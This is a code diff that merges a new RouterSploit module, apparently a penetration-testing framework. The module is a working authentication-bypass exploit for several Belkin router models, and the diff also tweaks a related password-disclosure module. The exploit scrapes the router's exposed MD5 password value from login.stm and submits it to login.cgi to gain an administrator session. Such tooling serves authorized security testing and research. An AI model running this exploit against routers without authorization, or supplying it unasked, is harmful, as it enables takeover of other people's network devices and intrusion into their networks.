Merge pull request #136 from BigNerd95/master

New Belkin exploit

routersploit/modules/exploits/belkin/auth_bypass.py

+import re
+
+from routersploit import (
+    exploits,
+    print_error,
+    print_success,
+    http_request,
+    mute,
+    validators,
+)
+
+
+class Exploit(exploits.Exploit):
+    """
+    Authentication bypass using MD5 password disclosure.
+    If the target is vulnerable, your computer is automatically authenticated.
+    """
+    __info__ = {
+        'name': 'Belkin Auth Bypass',
+        'description': 'Module exploits Belkin authentication using MD5 password disclosure',
+        'authors': [
+            'Gregory Smiley <gsx0r.sec[at]gmail.com>',  # vulnerability discovery
+            'BigNerd95 (Lorenzo Santina)',  # improved exploit and routersploit module
+        ],
+        'references': [
+            'https://securityevaluators.com/knowledge/case_studies/routers/belkin_n900.php',
+            'https://www.exploit-db.com/exploits/40081/',
+        ],
+        'devices': [
+            'Belkin Play Max (F7D4401)',
+            'Belkin F5D8633',
+            'Belkin N900 (F9K1104)',
+            'Belkin N300 (F7D7301)',
+            'Belkin AC1200',
+        ],
+    }
+
+    target = exploits.Option('', 'Target address e.g. http://192.168.1.1', validators=validators.url)
+    port = exploits.Option(80, 'Target Port')
+
+    def run(self):
+        url = "{}:{}/login.stm".format(self.target, self.port)
+
+        response = http_request(method="GET", url=url)
+        if response is None:
+            return
+
+        val = re.findall('password\s?=\s?"(.+?)"', response.text)  # in some fw there are no spaces
+
+        if len(val):
+            url = "{}:{}/login.cgi".format(self.target, self.port)
+            payload = "pws=" + val[0] + "&arc_action=login&action=Submit"
+
+            login = http_request(method="POST", url=url, data=payload)
+            if login is None:
+                return
+
+            error = re.search('loginpserr.stm', login.text)
+
+            if not error:
+                print_success("Exploit success, you are now logged in!")
+                return
+
+        print_error("Exploit failed. Device seems to be not vulnerable.")
+
+    @mute
+    def check(self):
+        url = "{}:{}/login.stm".format(self.target, self.port)
+
+        response = http_request(method="GET", url=url)
+        if response is None:
+            return False  # target is not vulnerable
+
+        val = re.findall('password\s?=\s?"(.+?)"', response.text)  # in some fw there are no spaces
+
+        if len(val):
+            return True  # target vulnerable
+
+        return False  # target is not vulnerable

routersploit/modules/exploits/belkin/g_n150_password_disclosure.py

@@ -44,7 +44,7 @@ class Exploit(exploits.Exploit):
         if response is None:
             return
 
-        val = re.findall('password = "(.+?)"', response.text)
+        val = re.findall('password\s?=\s?"(.+?)"', response.text)  # in some fw there are no spaces
 
         if len(val):
             print_success("Exploit success")
@@ -63,7 +63,7 @@ class Exploit(exploits.Exploit):
         if response is None:
             return False  # target is not vulnerable
 
-        val = re.findall('password = "(.+?)"', response.text)
+        val = re.findall('password\s?=\s?"(.+?)"', response.text)  # in some fw there are no spaces
 
         if len(val):
             return True  # target vulnerable